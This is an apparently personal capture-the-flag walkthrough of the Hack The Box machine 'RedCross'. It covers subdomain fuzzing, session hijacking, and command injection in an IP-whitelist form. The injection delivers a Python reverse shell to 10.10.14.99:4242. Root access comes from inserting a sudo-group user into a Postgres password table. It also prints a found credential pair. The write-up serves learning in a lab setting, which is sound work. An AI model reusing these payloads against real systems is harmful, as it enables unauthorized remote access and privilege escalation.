Summary
This was an extremely cool box with many paths to gain user and root. The machine starts off with several subdomains requiring discovery, followed by directory busting that leads to to several directories that can get you access as guest to the intra.redcross.htb site by reviewing the account credential recovery instructions. The admin.redcross.htb can be accessed with credentials guest:guest. From here we can perform SQL enumeration for standard credentials, or perform an xss attack to gain admin cookies, or just simply copying over the PHP sessionID from intra.redcross.htb over to admin.redcross.htb to gain access to a back end portal.
From here we can use the add a user feature to create a user to gain ssh access and from here we can find credentials in the /var/www/html folder under config related pages. Alternatively we can use the IP whitelist option from the admin.redcross.htb portal to whitelist are IP which opens up several new ports and services. From here we can use burpsuite and perform command injection on the whitelisting IP address function to create a reverse shell. From here we can connect to the newly discovered postgres server inwhich we add a new user and provide GUID permissions that we copy from the root user.
Processes/Techniques
Sub Domain Enumeration
Session Hijacking
Post Gre Enumeration
Tools used
Hydra
Wfuzz
dirbuster
sqlmap
Recon
A standard port scan was sufficient for this box revealing a narrow attack surface of the usual ssh port and a webserver with http and https.
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
Enumeration: Website
Browsing to the website showed a 404 with a redirect to a reverse lookup which we will add to our /etc/hosts file in order to view this page and resolve it with the appropriate ip address.
GNU nano 5.4 /etc/hosts *
# Host addresses
10.129.165.203 redcross.htb intra.redcross.htb
127.0.0.1 localhost
127.0.1.1 parrot
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allroutersWe successfully resolve the "intranet" page and see there is a login form and a disclosed version of this platform "Web messaging system".
Subdomain enumeration
Given this is a medium difficulty machine and the fact that we have already found an intranet it is integral to the process to perform a subdomain scan. I initially tried to use dnscan but could not get it working so I switched over to wfuzz and used the dnscan wordlists that I downloaded earlier.
sudo wfuzz -c -w subdomains-500.txt -H "HOST:FUZZ.redcross.htb" https://redcross.h
Classic admin subdomain has been found, and we added this to our /etc/hosts file.
10.129.165.203 redcross.htb intra.redcross.htb admin.redcross.htb
Resolving the page returns successful and provides a new website and attack vector. This site also displays the platform "web admin system 0.9".
It is very uncommon for credential bruteforcing to work, but after thorough enumeration I was left with nothing but short straws so I decided to try a common word list again these portals. However I was unable to get Hydra to work, wfuzz would not work over ssl due to issues with my pycurl library and burpsuite would of taken all day, so I moved on from bruteforcing.
$hydra -l guest -p guest 10.129.165.203 https-post-form "/?page=login:user=^USER^&pass=^PASS^&login=login:login failed" -V
From here I had launched directory busting to no avail, and was at yet another dead end. My next option was to investigate xss attacks. However, it dawned on me there were two ports serving the websites up so I tested the following compinations.
https://admin.redcross.htb:443 <------------------####
We got results and something to work with, so lets see where this goes.
/pages/
This was labled as forbidden and I was not able to retrieve the page with curl + verb tampering + ignore cert errors.
/javascript/
Nothing was found at this page, and it also returned forbidden, and was not susceptible to verb tampering.
/phpmyadmin/
This was great to see, as it provides another attack vector.
Launching burpsuite and reviewing the login POST form revealed a whitelist.php directory.
Browsing to it brought us here. I was not able to download the listed php scripts however.
Reviewing this and the remaining directory reveled nothing.
While waiting for SQL map to run on intra.redcross.htb/?page=app I was poking around and I tried guest/guest as a login and it worked!!!
Session hijacking
The hints in the forumn talked about stored XSS attacks to gain the administrators cookie for the php session. So while I was poking around I copied my current phpsession id into the session id for admin.redcrosshtb and it worked!
dboo : YNIeFVTv
Connected via SSH and what do you know!
My instinct was to poke around and I learned something was up, but I wasn't sure. I had no capabilities to use regular commands for file transfers.
I found a new host but sadly it brought me right back to where I started for the login page.
I attempted to exploit these binaries with gtfo bins and had no success other than spawning a bashshell from the vim utility, but it did not have root privilleges.
I switched gears and continued look around to find a iptctl.c file. This mentioned managing ip tables from admin.redcross.htb and it dawned downed on me about the network access option I totally forgot about after the php session hijack.
with TCP dump running on my local host I received the ping back to confirm command injection and network communications.
This initially did not lead anywhere but eventually it dawned on me to run another nmap scan now that I am technically "whitelisted".
This opens up more ports on our scan and we can finally proceed onwards and upwards.
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u3 (protocol 2.0)
| ssh-hostkey:
| 2048 67:d3:85:f8:ee:b8:06:23:59:d7:75:8e:a2:37:d0:a6 (RSA)
| 256 89:b4:65:27:1f:93:72:1a:bc:e3:22:70:90:db:35:96 (ECDSA)
|_ 256 66:bd:a1:1c:32:74:32:e2:e6:64:e8:a5:25:1b:4d:67 (ED25519)
80/tcp open http Apache httpd 2.4.25
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Did not follow redirect to https://intra.redcross.htb/
443/tcp open ssl/http Apache httpd 2.4.25
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Did not follow redirect to https://intra.redcross.htb/
| ssl-cert: Subject: commonName=intra.redcross.htb/organizationName=Red Cross International/stateOrProvinceName=NY/countryName=US
| Not valid before: 2018-06-03T19:46:58
|_Not valid after: 2021-02-27T19:46:58
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
1025/tcp open NFS-or-IIS?
5432/tcp open postgresql PostgreSQL DB 9.6.7 - 9.6.12
| ssl-cert: Subject: commonName=redcross.redcross.htb
| Subject Alternative Name: DNS:redcross.redcross.htb
| Not valid before: 2018-06-03T19:13:20
|_Not valid after: 2028-05-31T19:13:20
|_ssl-date: TLS randomness does not represent time
Service Info: Host: redcross.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
So we have a vulnerability here on the postgres server but I am going to use another method involving command injection and burpsuite. We simply burp the whitelist post form and notice the following parameters at the bottom. We can test command injection here, but it initially does not work.
I had to reference the forums for help here, and I learned that by default the action=ALLOW+IP is calling a particular script, which overrides any commands we send. So we have to change this to deny. The sad thing is, I originally used "Deny" which is not accepted, and it was not until I used lowercase that it was accepted. But in the image below we see the default result when we enter a valid IP if we do not escapte the action=Allow+IP
Sending this to repeater we can play around with it.
With command injection in place as you can see above we change over to a Python reverse shell which to my amazement worked the first time.
ip=8;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.99",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'&action=deny
Moving horizontally
It is clear that gaining access as www-data is not enough and we have to go deeper :(
Sigh, this gave me basic permissions so I continued to enumerate admin pages to find a manager account.
From here we login to postgres locally and add a user with the same permissions as penelope.
Some research on postgres commands and enumeration shows us tehh \dt command to display tables.
I learned from trial and error we can create new users and edit existing. I could not figure out how to edit permissions in postgres so I turned to creating a new user and applying the group id of sudo. The password however was not working and I realized it had to be in a hashed format, so a little research provided clarity on the hash type with SSL. After an insane amount of searching I found this article that talked about a way to add a user beyond a regular "create user" which did not work.
http://www.karoltomala.com/blog/?p=869
openssl passwd -1 -salt xyz password = $1$xyz$cEUv8aN9ehjhMXG/kSFnM1cat /etc/group | grep sudo
sudo:x:27:insert into passwd_table (username, passwd, gid, homedir) values ('boo', '$1$xyz$cEUv8aN9ehjhMXG/kSFnM1', 27, '/');
INSERT 0 1Running sudo -l shows our permissions and we switch over to root. for double flags.
Comments